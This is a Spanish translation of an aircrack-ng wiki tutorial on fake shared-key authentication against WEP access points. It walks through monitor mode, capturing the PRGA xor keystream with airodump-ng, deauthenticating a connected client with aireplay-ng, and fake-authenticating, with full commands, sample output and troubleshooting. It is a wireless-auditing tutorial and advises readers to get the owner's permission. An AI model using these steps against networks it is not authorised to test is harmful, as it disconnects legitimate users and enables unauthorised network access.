Herramientas de usuario

Herramientas del sitio


es:shared_key

Tutorial: Como hacer una autenticación falsa con clave compartida (shared key)

Version: 1.06 Junio 25, 2007
By: darkAudax
Traducción: 20 de Julio de 2007
Archivo utilizado en este tutorial: wep.shared.key.authentication.cap

Introducción

Este tutorial sirve para la situación en la que recibes el siguiente mensaje de error cuando intentas realizar una falsa autenticación con aireplay-ng:

 15:46:53  Sending Authentication Request
 15:46:53  AP rejects open-system authentication
 Please specify a PRGA-file (-y).

El tutorial se basará en la autenticación WEP por lo que es necesario entender lo que estamos haciendo. Despues explicaremos las técnicas y los métodos de forma detallada.

Es recomendable que experimentes con tu propio punto de acceso para familiarizarte con estas ideas y técniceas. Si no es de tu propiedad, recuerda que debes pedir permiso al dueño del punto de acceso con el que quieras practicar o jugat.

Antes de nada quiero darle las gracias al Équipo de Aircrack-ng por desarrollar y mejorar esta suite tan fantástica.

Por favor, enviame cualquier duda o sugerencia, positiva o negativa. Los problemas que encuentres, ideas o trucos serán bienvenidos.

Puntos de partida

Esta solución presupone que:

  • Estas usando drivers parcheados para soportar inyección. Puedes snifar paquetes con Wireshark para confirmar que realmente estás inyectando.
  • Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP.Deberías comprobar que te puedes comunicar con el AP siguiendo estas instrucciones
  • Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.

Asegurate de que cumples todas las condiciones, sino aunque sigas las instrucciones no te funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless. La opción “doble guión bssid” se muestra como ”- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo escribas.

Equipo usado

En este tutorial:

  • Dirección MAC del PC ejecutando la suite aircrack-ng: 00:09:5B:EC:EE:F2
  • BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
  • ESSID (nombre de la red Wireless): teddy
  • Canal del AP: 9
  • Interface Wireless: ath0
  • Dirección MAC de un cliente asociado correctamente con el punto de acceso: 00:0F:B5:34:30:30

Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

Antecedentes

Un punto de acceso tiene que autenticar al cliente antes de que pueda asociarse con el punto de acceso o entrar en la red. El estandar IEEE 802.11 define dos modos de autenticación WEP: Abierta (Open System) y compartida (Shared Key).

  • Abierta o “Open System Authentication” permite que cualquier cliente entre en la red, suponiendo que el SSID (nombre de la red) del cliente y del AP coincidan. Alternativamente, el cliente puede usar el SSID “ANY” para asociarse con cualquier punto de acceso que esté en la zona de cobertura.
  • Compartida o “Shared Key Authentication” require que el cliente y el punto de acceso tengan la misma clave WEP para realizar la autenticación.

Nosotros tenemos que “pelear” con la autenticación usando una clave compartida. Netgear tiene un diagrama muy bueno en esta página. Por favor, echale un vistazo para que entiendas en que consiste la autenticación con clave compartida (shared key authentication) y como funciona.

Contenidos

Para conseguir hacer una autenticación falsa con clave compartida, necesitamos un archivo PRGA (pseudo random generation algorithm) xor. Desarrollaremos los pasos detallados para conseguir esto. Seguidamente usaremos el archive PRGA xor para hacer una falsa autenticación.

Aquí estań los pasos que vamos a seguir:

  1. Colocar la interface wireless en modo monitor y especificar el canal del AP
  2. Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar el archivo PRGA xor
  3. Deautentificar a un cliente conectado
  4. Realizar una autenticación falsa con clave compartida “shared key”

Paso 1 - Colocar la interface wireless en modo monitor y especificar el canal del AP

Escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:

airmon-ng start wifi0 9

Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Puedes observar que “ath0” aparece colocada en modo monitor.

Escribe “ifconfig ath0 up” para levantar la interface ath0 que usaremos a continuación.

Para confirmar que la interface está bien configurada, escribimos “iwconfig”.

El sistema nos responderá:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
           Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
           Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3  
           Retry:off   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off
           Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.

Para ver la correspondencia entre frecuencia y canal, mira: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . Así obtendrás la frecuencia para cada canal.

Problemas

  • Si tienes otra interface en modo monitor que no sea ath0, puedes usarla o escribir “airomon-ng stop athX” donde X es la interface que quieres parar.

Paso 2 - Iniciar airodump-ng

Abre una consola para capturar el archivo PRGA xor. Y escribe:

airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w sharedkey ath0

Donde:

  • -c 9 es el canal de la red wireless
  • - -bssid 00:14:6C:7E:40:80 es la dirección MAC del AP. Esto elimina el tráfico de otras redes.
  • -w sharedkey es el nombre del archivo en el que guardaremos el PRGA xor.
  • ath0 es el nombre de nuestra interface.

Pero, ¿cómo determinamos si la autenticación con clave compartida está activa?. Además de con el mensaje de error mostrado en la introducción; en la siguiente captura de pantalla puedes ver las letras “PSK” en la columna CIPHER. Esto significa que el AP está usando autenticación con clave compartida. Pero esto no aparecerá y por tanto no tendremos esta información hasta que un cliente se asocie correctamente al AP.

  CH  9 ][ Elapsed: 20 s ][ 2007-02-10 16:29 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   37 100      197        0    0   9  11  WEP  WEP    PSK  teddy                            
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:34:30:30   61     0        4       

Una vez que aparece “PSK” en la ventana de airodump-ng, si ves la lista de los archivos que tienes guardados verás algo como esto: sharedkey-01-00-14-6C-7E-40-80.xor sharedkey-01.cap sharedkey-01.txt

El archivo “sharedkey-01-00-14-6C-7E-40-80.xor” contiene el PRGA xor que usaremos más adelante para completer la falsa autenticación de forma satisfactoria. El siguiente archivo de ejemplo: wep.shared key authentication file lo puedes ver con WireShark y analizar la forma que tiene el paquete. Puedes compararlo con tus capturas para ver si estás perdiendo algún paquete.

Puede que tu no tengas tanta suerte y que a pesar de estar snifando tráfico cuando un cliente se asocia al AP y produce el PRGA xor; no consigas capturarlo al primer intento. Para obtener el archivo con el bit PRGA, hay dos métodos:

  • El primero consiste en tener paciencia. Lo que significa ejecutar airodump-ng y esperar a que un cliente se asocie algún día. Sabrás que esto ha ocurrido cuando en la columna CIPHER veas “PSK” y deje de estar en blanco. Felicidades! ahora puedes saltarte el paso 3 ” Deautentificar a un cliente conectado” e ir directamente al paso 4
  • El Segundo método es deautentificar a un cliente para forzarlo a que se asocie de nuevo. Esto te permitirá capturar el “handshake” con la clave compartida.

Paso 3 - Deautentificar a un cliente conectado

Este paso solo es requerido si aun no tenemos el archivo PRGA xor. Tambien podemos usar el archivo PRGA xor obtenido a través de un ataque chopchop o de fragmentación.

A través de la salida de airodump-ng del paso anterior, puedes determinar cual es el cliente que está actualmente conectado. Necesitaremos la dirección MAC para ejecutar el siguiente comando:

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0

Donde:

  • -0 significa deautenticación
  • 1 es el número de deautenticaciones que se enviarán (puedes enviar todas las que quieras)
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -c 00:0F:B5:34:30:30 es la dirección MAC del cliente que queremos echar fuera de la red
  • ath0 es el nombre de nuestra interface

Esta es la salida de este comando:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

Antes de ejecutar el commando recien explicado, abre otra shell y ejecuta airodump-ng de la misma forma que lo hicimos con anterioridad: “airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w sharedkey ath0”.

Cuando ejecutes el comando de deautenticacion, mira en airodump-ng si has obtenido el PRGA xor. Si aun no lo has conseguido, prueba a realizar otra deautenticacion o prueba a realizarla contra otro cliente diferente.

Una vez que has obtenido el archivo PRGA xor, continua con el siguiente apartado.

Problemas

  • Asegurate de que estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP.

Paso 4 - Realizar una autenticación falsa con clave compartida

Ahora que ya tienes un archivo PRGA xor, estás preparado para hacer la autenticación falsa:

aireplay-ng -1 0 -e teddy -y sharedkey-04-00-14-6C-7E-40-80.xor -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • -1 significa falsa autenticación (fake authentication)
  • 0 significa solo autenticarse una vez
  • -e teddy el nombre de la red wireless (SSID)
  • -y sharedkey-04-00-14-6C-7E-40-80.xor es el nombre del archivo que contiene el PRGA xor
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -h 00:09:5B:EC:EE:F2
  • ath0 es el nombre de nuestra interface

Un ejemplo de una autenticación exitosa (successful) sería:

 11:44:55  Sending Authentication Request
 11:44:55  AP rejects open-system authentication
 Part1: Authentication
 Code 0 - Authentication SUCCESSFUL :)
 Part2: Association
 Code 0 - Association SUCCESSFUL :)

Si recibes este mensaje, puedes continuar con las técnicas de inyección clásicas.

Ahora ponemos un ejemplo de un fallo de autenticación:

 11:45:06  Sending Authentication Request
 11:45:06  AP rejects open-system authentication
 Part1: Authentication
 Authentication failed!
 Part1: Authentication
 Authentication failed!
 etc...

Por último otro tipo de fallo:

 11:55:05  Sending Authentication Request
 11:55:05  AP rejects open-system authentication
 Part1: Authentication
 Code 0 - Authentication SUCCESSFUL :)
 Part2: Association
 Not answering...(Step3)
 Retrying association sequence!
 Part2: Association
 Not answering...(Step3)
 Retrying association sequence!
 etc...

Aviso

  • Si usas un archive PRGA xor obtenido de un ataque chopchop, asegurate que al menos tiene 144 bytes. Necesitas un número mínimo de bits para hacer la falsa autenticación de forma satisfactoria.

Problemas

  • Si recibes el mensaje “Part 1 authentication failure”, prueba con otro archivo xor. Algunas vces parece que has conseguido el “handshake” correcto pero no es cierto. Si esto falla lee los puntos siguientes.
  • Algunos puntos de acceso están configurados para permitir únicamente la asociación de una determinada MAC (filtrado MAC). Si este es tu caso, no serás capaz de hacer una falsa autenticación a menos que conozcas una dirección MAC que este en la lista de las permitidas. En este tutorial no se explica como cambiar la dirección MACl. Revisa el wiki para encontrar FAQs y otros tutorials.
  • Asegurate de que estás físicamente suficientemente cerca para inyectar paquetes.
  • Si recibes el mensaje “Part2: Association Not answering…(Step3)” significa que tu dirección MAC no coincide con la dirección MAC que está siendo usada en la falsa autenticación. Comprueba de que ambas son iguales y reinténtalo.
es/shared_key.txt · Última modificación: 2010/08/29 19:47 por mister_x